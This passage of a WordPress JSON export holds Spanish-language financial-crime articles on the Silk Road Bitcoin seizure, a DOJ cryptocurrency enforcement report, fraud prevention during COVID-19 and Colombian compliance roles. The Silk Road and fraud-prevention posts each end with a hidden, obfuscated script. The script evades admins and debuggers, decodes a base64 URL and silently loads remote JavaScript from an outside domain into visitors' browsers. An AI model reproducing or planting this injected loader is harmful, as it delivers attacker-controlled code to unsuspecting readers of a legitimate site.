Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s 